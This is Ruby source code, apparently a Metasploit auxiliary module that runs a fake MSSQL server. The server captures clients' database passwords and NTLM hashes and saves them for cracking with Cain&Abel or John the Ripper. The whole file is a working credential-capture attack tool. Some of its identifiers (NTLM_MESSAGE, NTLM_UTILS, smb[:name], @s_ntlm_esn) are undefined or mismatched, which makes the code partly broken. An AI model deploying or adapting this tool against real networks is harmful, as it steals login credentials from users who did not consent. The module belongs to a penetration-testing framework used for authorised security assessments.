##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/message'
require 'rex/proto/ntlm/crypt'

NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::SMBServer
	include Msf::Auxiliary::Report

	class Constants
		TDS_MSG_RESPONSE  = 0x04
		TDS_MSG_LOGIN     = 0x10
		TDS_MSG_SSPI      = 0x11
		TDS_MSG_PRELOGIN  = 0x12

		TDS_TOKEN_ERROR   = 0xAA
		TDS_TOKEN_AUTH    = 0xED
	end

	def initialize
		super(
			'Name'           => 'Authentication Capture: MSSQL',
			'Description'    => %q{
				This module provides a fake MSSQL service that
			is designed to capture authentication credentials. The modules
			supports both the weak encoded database logins as well as Windows
			logins (NTLM).
			},
			'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
			'License'        => MSF_LICENSE,
			'Actions'        => [ [ 'Capture' ] ],
			'PassiveActions' => [ 'Capture' ],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1433 ]),
				OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
				OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
				OptString.new('CHALLENGE',   [ true, "The 8 byte challenge ", "1122334455667788" ])
			], self.class)

		register_advanced_options(
			[
				OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
				OptString.new('DOMAIN_NAME',         [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
			], self.class)

	end

	def setup
		super
		@state = {}
	end

	def run
		@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
		@domain_name = datastore['DOMAIN_NAME']
		if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
			@challenge = [ datastore['CHALLENGE'] ].pack("H*")
		else
			print_error("CHALLENGE syntax must match 1122334455667788")
			return
		end

		#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
		@previous_lm_hash="none"
		@previous_ntlm_hash="none"

		print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")

		exploit()
	end

	def on_client_connect(c)
		@state[c] = {
			:name    => "#{c.peerhost}:#{c.peerport}",
			:ip      => c.peerhost,
			:port    => c.peerport,
			:user    => nil,
			:pass    => nil
		}
	end

	# decodes a mssql password
	def mssql_tds_decrypt(pass)
		Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack("C*"))
	end

	# doesn't do any real parsing, slices of the data
	def mssql_parse_prelogin(data, info)
		status = data.slice!(0,1).unpack('C')[0]
		len = data.slice!(0,2).unpack('n')[0]

		# just slice away the rest of the packet
		data.slice!(0, len - 4)
		return []
	end

	# parses a login packet sent to the server
	def mssql_parse_login(data, info)
		status = data.slice!(0,1).unpack('C')[0]
		len = data.slice!(0,2).unpack('n')[0]

		if len > data.length + 4
			info[:errors] << "Login packet to short"
			return
		end

		# slice of:
		#   * channel, packetno, window
		#   * login header
		#   * client name lengt & offset
		login_hdr = data.slice!(0,4 + 36 + 4)

		username_offset = data.slice!(0,2).unpack('v')[0]
		username_length = data.slice!(0,2).unpack('v')[0]

		pw_offset = data.slice!(0,2).unpack('v')[0]
		pw_length = data.slice!(0,2).unpack('v')[0]

		appname_offset = data.slice!(0,2).unpack('v')[0]
		appname_length = data.slice!(0,2).unpack('v')[0]

		srvname_offset = data.slice!(0,2).unpack('v')[0]
		srvname_length = data.slice!(0,2).unpack('v')[0]

		if username_offset > 0 and pw_offset > 0
			offset = username_offset - 56
			info[:user] = Rex::Text::to_ascii(data[offset..(offset + username_length * 2)])

			offset = pw_offset - 56
			if pw_length == 0
				info[:pass] = "<empty>"
			else
				info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack("A*")[0])
			end

			offset = srvname_offset - 56
			info[:srvname] = Rex::Text::to_ascii(data[offset..(offset + srvname_length * 2)])
		else
			info[:isntlm?]= true
		end

		# slice of remaining packet
		data.slice!(0, data.length)

		info
	end

	# copied and slightly modified from http_ntlm html_get_hash
	def mssql_get_hash(arg = {})
		ntlm_ver = arg[:ntlm_ver]
		if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
			lm_hash = arg[:lm_hash]
			nt_hash = arg[:nt_hash]
		else
			lm_hash = arg[:lm_hash]
			nt_hash = arg[:nt_hash]
			lm_cli_challenge = arg[:lm_cli_challenge]
			nt_cli_challenge = arg[:nt_cli_challenge]
		end
		domain = arg[:domain]
		user = arg[:user]
		host = arg[:host]
		ip = arg[:ip]

		unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
			@previous_lm_hash = lm_hash
			@previous_ntlm_hash = nt_hash
			# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
			case ntlm_ver
			when NTLM_CONST::NTLM_V1_RESPONSE
				if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
					:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
					print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
					return
				end
				if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
					lm_hash_message = "Disabled"
				elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
					:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
					lm_hash_message = "Disabled (from empty password)"
				else
					lm_hash_message = lm_hash
					lm_chall_message = lm_cli_challenge
				end
			when NTLM_CONST::NTLM_V2_RESPONSE
				if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
					:cli_challenge => [nt_cli_challenge].pack("H*"),
					:user => Rex::Text::to_ascii(user),
					:domain => Rex::Text::to_ascii(domain),
					:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
					print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
					return
				end
				if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
					lm_hash_message = "Disabled"
					lm_chall_message = 'Disabled'
				elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
					:cli_challenge => [lm_cli_challenge].pack("H*"),
					:user => Rex::Text::to_ascii(user),
					:domain => Rex::Text::to_ascii(domain),
					:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
					lm_hash_message = "Disabled (from empty password)"
					lm_chall_message = 'Disabled'
				else
					lm_hash_message = lm_hash
					lm_chall_message = lm_cli_challenge
				end
			when NTLM_CONST::NTLM_2_SESSION_RESPONSE
				if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
					:cli_challenge => [lm_hash].pack("H*")[0,8],
					:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
					print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
					return
				end
				lm_hash_message = lm_hash
				lm_chall_message = lm_cli_challenge
			end

			# Display messages
			domain = Rex::Text::to_ascii(domain)
			user = Rex::Text::to_ascii(user)

			capturedtime = Time.now.to_s
			case ntlm_ver
			when NTLM_CONST::NTLM_V1_RESPONSE
				smb_db_type_hash = "smb_netv1_hash"
				capturelogmessage =
				"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
				"DOMAIN: #{domain} USER: #{user} \n" +
				"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
			when NTLM_CONST::NTLM_V2_RESPONSE
				smb_db_type_hash = "smb_netv2_hash"
				capturelogmessage =
				"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
				"DOMAIN: #{domain} USER: #{user} \n" +
				"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
				"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
				"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
				"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
			when NTLM_CONST::NTLM_2_SESSION_RESPONSE
				#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
				#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
				smb_db_type_hash = "smb_netv1_hash"
				capturelogmessage =
				"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
				"DOMAIN: #{domain} USER: #{user} \n" +
				"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
				"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"

			else # should not happen
				return
			end

			print_status(capturelogmessage)

			# DB reporting
			# Rem :  one report it as a smb_challenge on port 445 has breaking those hashes
			# will be mainly use for psexec / smb related exploit
			report_auth_info(
				:host  => arg[:ip],
				:port => 445,
				:sname => 'smb_client',
				:user => user,
				:pass => domain + ":" +
				( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" +
				( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s :  "00" * 24 ) + ":" +
				datastore['CHALLENGE'].to_s,
				:type => smb_db_type_hash,
				:proof => "DOMAIN=#{domain}",
				:source_type => "captured",
				:active => true
			)
			#if(datastore['LOGFILE'])
			#	File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
			#end

			if(datastore['CAINPWFILE'] and user)
				if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
					fd = File.open(datastore['CAINPWFILE'], "ab")
					fd.puts(
					[
						user,
						domain ? domain : "NULL",
						@challenge.unpack("H*")[0],
						lm_hash ? lm_hash : "0" * 48,
						nt_hash ? nt_hash : "0" * 48
						].join(":").gsub(/\n/, "\\n")
						)
						fd.close
				end
			end

			if(datastore['JOHNPWFILE'] and user)
				case ntlm_ver
				when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
					fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
					fd.puts(
					[
						user,"",
						domain ? domain : "NULL",
						lm_hash ? lm_hash : "0" * 48,
						nt_hash ? nt_hash : "0" * 48,
						@challenge.unpack("H*")[0]
						].join(":").gsub(/\n/, "\\n")
						)
						fd.close
				when NTLM_CONST::NTLM_V2_RESPONSE
					#lmv2
					fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
					fd.puts(
						[
							user,"",
							domain ? domain : "NULL",
							@challenge.unpack("H*")[0],
							lm_hash ? lm_hash : "0" * 32,
							lm_cli_challenge ? lm_cli_challenge : "0" * 16
						].join(":").gsub(/\n/, "\\n")
					)
					fd.close
					#ntlmv2
					fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
					fd.puts(
						[
							user,"",
							domain ? domain : "NULL",
							@challenge.unpack("H*")[0],
							nt_hash ? nt_hash : "0" * 32,
							nt_cli_challenge ? nt_cli_challenge : "0" * 160
							].join(":").gsub(/\n/, "\\n")
					)
					fd.close
				end
			end
		end
	end

	def mssql_parse_ntlmsspi(data, info)
		start = data.index('NTLMSSP')
		if start
			data.slice!(0,start)
		else
			print_error("Failed to find NTLMSSP authentication blob")
			return
		end

		ntlm_message = NTLM_MESSAGE::parse(data)
		case ntlm_message
		when NTLM_MESSAGE::Type3
			lm_len = ntlm_message.lm_response.length # Always 24
			nt_len = ntlm_message.ntlm_response.length

			if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
				arg = {	:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
					:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
					:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
				}

				if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
					arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
				end
				#if the length of the ntlm response is not 24 then it will be bigger and represent
				# a ntlmv2 response
			elsif nt_len > 24 #lmv2/ntlmv2
				arg = {	:ntlm_ver 		=> NTLM_CONST::NTLM_V2_RESPONSE,
					:lm_hash 		=> ntlm_message.lm_response[0, 16].unpack('H*')[0],
					:lm_cli_challenge 	=> ntlm_message.lm_response[16, 8].unpack('H*')[0],
					:nt_hash 		=> ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
					:nt_cli_challenge 	=> ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
				}
			elsif nt_len == 0
				print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
				return
			else
				print_status("Unknown hash type from #{smb[:name]}, ignoring ...")
				return
			end

			arg[:user] = ntlm_message.user
			arg[:domain]   = ntlm_message.domain
			arg[:ip] = info[:ip]
			arg[:host] = info[:ip]

			begin
				mssql_get_hash(arg)
			rescue ::Exception => e
				print_error("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
			end
		else
			info[:errors] << "Unsupported NTLM authentication message type"
		end

		# slice of remainder
		data.slice!(0,data.length)
	end

	#
	# Parse individual tokens from a TDS reply
	#
	def mssql_parse_reply(data, info)
		info[:errors] = []
		return if not data
		until data.empty? or ( info[:errors] and not info[:errors].empty? )
			token = data.slice!(0,1).unpack('C')[0]
			case token
			when Constants::TDS_MSG_LOGIN
				mssql_parse_login(data, info)
				info[:type] = Constants::TDS_MSG_LOGIN
			when Constants::TDS_MSG_PRELOGIN
				mssql_parse_prelogin(data, info)
				info[:type] = Constants::TDS_MSG_PRELOGIN
			when Constants::TDS_MSG_SSPI
				mssql_parse_ntlmsspi(data, info)
				info[:type] = Constants::TDS_MSG_SSPI
			else
				info[:errors] << "unsupported token: #{token}"
			end
		end
		info
	end

	# Sends an error message to the MSSQL client
	def mssql_send_error(c, msg)
		data = [
			Constants::TDS_MSG_RESPONSE,
			1, # status
			0x0020 + msg.length * 2,
			0x0037, # channel: 55
			0x01,   # packet no: 1
			0x00,   # window: 0
			Constants::TDS_TOKEN_ERROR,
			0x000C + msg.length * 2,
			18456,  # SQL Error number
			1,      # state: 1
			14,     # severity: 14
			msg.length,   # error msg length
			0,
			Rex::Text::to_unicode(msg),
			0, # server name length
			0, # process name length
			0, # line number
			"fd0200000000000000"
			].pack("CCnnCCCvVCCCCA*CCnH*")
		c.put data
	end

	def mssql_send_ntlm_challenge(c, info)
		win_domain = Rex::Text.to_unicode(@domain_name.upcase)
		win_name = Rex::Text.to_unicode(@domain_name.upcase)
		dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
		dns_name = Rex::Text.to_unicode(@domain_name.downcase)

		if @s_ntlm_esn
			sb_flag = 0xe28a8215 # ntlm2
		else
			sb_flag = 0xe2828215 #no ntlm2
		end

		securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
			win_name,
			dns_domain,
			dns_name,
			@challenge,
			sb_flag)

		data = [
			Constants::TDS_MSG_RESPONSE,
			1, # status
			11 + securityblob.length, # length
			0x0000, # channel
			0x01,   # packetno
			0x00,   # window
			Constants::TDS_TOKEN_AUTH,   # token: authentication
			securityblob.length, # length
			securityblob
		].pack("CCnnCCCvA*")
		c.put data
	end

	def mssql_send_prelogin_response(c, info)
		data = [
			Constants::TDS_MSG_RESPONSE,
			1, # status
			0x002b, # length
			"0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000"
		].pack("CCnH*")
		c.put data
	end

	def on_client_data(c)
		info = {:errors => [], :ip => @state[c][:ip]}
		data = c.get_once
		return if not data

		info = mssql_parse_reply(data, info)

		if(info[:errors] and not info[:errors].empty?)
			print_error("#{info[:errors]}")
			c.close
			return
		end

		# no errors, and the packet was a prelogin
		# if we just close the connection here, it seems that the client:
		# SQL Server Management Studio 2008R2, falls back to the weaker encoded
		# password authentication.
		case info[:type]
		when Constants::TDS_MSG_PRELOGIN
			mssql_send_prelogin_response(c, info)

		when Constants::TDS_MSG_SSPI
			mssql_send_error(c, "Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.")

		when Constants::TDS_MSG_LOGIN
			if info[:isntlm?] == true
				mssql_send_ntlm_challenge(c, info)
			elsif info[:user] and info[:pass]
				report_auth_info(
				:host      => @state[c][:ip],
				:port      => datastore['SRVPORT'],
				:sname     => 'mssql_client',
				:user      => info[:user],
				:pass      => info[:pass],
				:source_type => "captured",
				:active    => true
				)

				print_status("MSSQL LOGIN #{@state[c][:name]} #{info[:user]} / #{info[:pass]}")
				mssql_send_error(c, "Login failed for user '#{info[:user]}'.")

				c.close
			end
		end
	end

	def on_client_close(c)
		@state.delete(c)
	end
end
